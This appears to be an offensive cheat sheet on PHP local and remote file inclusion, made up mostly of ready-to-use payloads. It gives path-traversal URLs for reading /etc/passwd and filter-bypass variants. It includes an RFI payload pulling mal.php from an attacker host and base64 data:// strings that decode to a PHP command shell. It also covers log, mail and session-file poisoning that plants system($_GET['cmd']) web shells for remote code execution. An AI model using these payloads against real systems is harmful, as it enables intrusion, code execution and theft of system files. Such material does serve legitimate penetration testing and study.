314 lines
11 KiB
Markdown
314 lines
11 KiB
Markdown
# File Inclusion
|
||
* **`Remote File Inclusion (RFI)`**: The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
|
||
* **`Local File Inclusion (LFI)`**: The sever loads a local file.
|
||
|
||
**Vulnerable PHP functions:**
|
||
* `require`
|
||
* `require_once`
|
||
* `include`
|
||
* `include_once`
|
||
|
||
|
||
## Basic LFI
|
||
In the following examples we include the `/etc/passwd` file, check the **`Directory & Path Traversal`** chapter for more interesting files.
|
||
```html
|
||
http://example.com/index.php?page=../../../etc/passwd
|
||
```
|
||
traversal sequences stripped non-recursively
|
||
```html
|
||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||
```
|
||
### Null byte (%00)
|
||
Bypass the append more chars at the end of the provided string (bypass of: `$_GET['param']."php"`)
|
||
```html
|
||
http://example.com/index.php?page=../../../etc/passwd%00
|
||
```
|
||
This is solved since **PHP 5.4**
|
||
|
||
### Encoding
|
||
```html
|
||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||
```
|
||
|
||
### From existent folder
|
||
Maybe the back-end is checking the folder path:
|
||
```html
|
||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||
```
|
||
### Identifying folders on a server
|
||
* identify the "depth" of you current directory by succesfully retrieving `/etc/passwd` (if on Linux):
|
||
```html
|
||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||
```
|
||
* try and guess the name of a folder in the current directory by adding the folder name (here, private), and then going back to `/etc/passwd`:
|
||
```html
|
||
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
|
||
```
|
||
* if the application is **vulnerable**, there might be two different outcomes to the request:
|
||
1. if you get an `error / no output`, the private folder does not exist at this location
|
||
2. if you get the content from `/etc/passwd`, you validated that there is indeed a privatefolder in your current directory
|
||
|
||
you want to check if `/var/www/` contains a private directory, use the following payload:
|
||
```html
|
||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||
```
|
||
The following sequence of commands allows the generation of payloads using sed (1) as input for url fuzzing tools such as ffuf (2):
|
||
```bash
|
||
# 1
|
||
sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
||
|
||
# 2
|
||
ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
||
```
|
||
|
||
### Path truncation
|
||
Bypass the append of more chars at the end of the provided string (bypass of: `$_GET['param']."php"`)
|
||
```html
|
||
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
||
Check if last 6 chars are passwd --> passwd/
|
||
Check if last 4 chars are ".php" --> shellcode.php/.
|
||
```
|
||
|
||
```html
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||
|
||
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
|
||
|
||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||
```
|
||
> Always try to start the path with a fake directory (a/).
|
||
>
|
||
> **This vulnerability was corrected in PHP 5.3**
|
||
|
||
### Filter bypass tricks
|
||
```html
|
||
http://example.com/index.php?page=....//....//etc/passwd
|
||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||
http://example.com/index.php?page=PhP://filter
|
||
```
|
||
|
||
## Remote File Inclusion
|
||
In **php** this is disable by default because `allow_url_include` is **Off**. It must be On for it to work, and in that case you could include a PHP file from your server and get RCE:
|
||
```html
|
||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||
```
|
||
If for some reason `allow_url_include` is **On**, but PHP is filtering access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:
|
||
```html
|
||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||
```
|
||
Another example not using the **`php://`** protocol would be:
|
||
```html
|
||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||
```
|
||
|
||
## Python Root element
|
||
In python in a code like this one:
|
||
```python
|
||
# file_name is controlled by a user
|
||
os.path.join(os.getcwd(), "public", file_name)
|
||
```
|
||
If the user passes an absolute path to `file_name`, the previous path is just removed:
|
||
```python
|
||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||
'/etc/passwd'
|
||
```
|
||
|
||
### Top 25 parameters
|
||
Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI)
|
||
```html
|
||
?cat={payload}
|
||
?dir={payload}
|
||
?action={payload}
|
||
?board={payload}
|
||
?date={payload}
|
||
?detail={payload}
|
||
?file={payload}
|
||
?download={payload}
|
||
?path={payload}
|
||
?folder={payload}
|
||
?prefix={payload}
|
||
?include={payload}
|
||
?page={payload}
|
||
?inc={payload}
|
||
?locate={payload}
|
||
?show={payload}
|
||
?doc={payload}
|
||
?site={payload}
|
||
?type={payload}
|
||
?view={payload}
|
||
?content={payload}
|
||
?document={payload}
|
||
?layout={payload}
|
||
?mod={payload}
|
||
?conf={payload}
|
||
```
|
||
|
||
## LFI / RFI using PHP wrappers & protocols
|
||
### php://filter
|
||
PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:
|
||
1. **String Filters**:
|
||
* `string.rot13`
|
||
* `string.toupper`
|
||
* `string.tolower`
|
||
* `string.strip_tags`: Remove tags from the data (everything between `"<"` and `">"` chars)
|
||
> Note that this filter has disappear from the modern versions of PHP
|
||
2. **Conversion Filters**
|
||
* `convert.base64-encode`
|
||
* `convert.base64-decode`
|
||
* `convert.quoted-printable-encode`
|
||
* `convert.quoted-printable-decode`
|
||
* `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the list of all the encodings supported run in the console: `iconv -l`
|
||
3. **Compression Filters**
|
||
* `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
|
||
* `zlib.inflate`: Decompress the data
|
||
4. **Encryption Filters**
|
||
* `mcrypt.*` : Deprecated
|
||
* `mdecrypt.*` : Deprecated
|
||
5. **Other Filters**
|
||
|
||
Running in php `var_dump(stream_get_filters());` you can find a couple of unexpected filters:
|
||
* `consumed`
|
||
* `dechunk`: reverses HTTP chunked encoding
|
||
* `convert.*`
|
||
|
||
```bash
|
||
# String Filters
|
||
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
||
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
||
## Same chain without the "|" char
|
||
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
||
## string.string_tags example
|
||
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
||
|
||
# Conversion filter
|
||
## B64 decode
|
||
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
||
## Chain B64 encode and decode
|
||
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
||
## convert.quoted-printable-encode example
|
||
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
||
=C2=A3hellooo=3D
|
||
## convert.iconv.utf-8.utf-16le
|
||
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
||
|
||
# Compresion Filter
|
||
## Compress + B64
|
||
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
||
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||
```
|
||
|
||
### Via Email
|
||
Send a mail to a internal account (`user@localhost`) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like `/var/mail/<USERNAME>` or `/var/spool/mail/<USERNAME>`
|
||
|
||
### Via upload
|
||
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).
|
||
```html
|
||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||
```
|
||
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
|
||
|
||
### RCE via Mail
|
||
First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.
|
||
```bash
|
||
root@kali:~# telnet 10.10.10.10. 25
|
||
Trying 10.10.10.10....
|
||
Connected to 10.10.10.10..
|
||
Escape character is '^]'.
|
||
220 straylight ESMTP Postfix (Debian/GNU)
|
||
helo ok
|
||
250 straylight
|
||
mail from: mail@example.com
|
||
250 2.1.0 Ok
|
||
rcpt to: root
|
||
250 2.1.5 Ok
|
||
data
|
||
354 End data with <CR><LF>.<CR><LF>
|
||
subject: <?php echo system($_GET["cmd"]); ?>
|
||
data2
|
||
.
|
||
```
|
||
In some cases you can also send the email with the mail command line.
|
||
```bash
|
||
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
|
||
```
|
||
### RCE via Apache logs
|
||
Poison the User-Agent in access logs:
|
||
```bash
|
||
curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
||
```
|
||
> Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
|
||
|
||
Then request the logs via the LFI and execute your command.
|
||
```bash
|
||
curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
||
```
|
||
|
||
|
||
### LFI to RCE via PHP sessions
|
||
Check if the website use PHP Session (`PHPSESSID`)
|
||
```html
|
||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||
```
|
||
In PHP these sessions are stored into `/var/lib/php5/sess_[PHPSESSID]` or `/var/lib/php/sessions/sess_[PHPSESSID]` files
|
||
```html
|
||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||
```
|
||
Set the cookie to `<?php system(`'cat /etc/passwd');?`>`
|
||
```html
|
||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||
```
|
||
Use the LFI to include the PHP session file
|
||
```html
|
||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|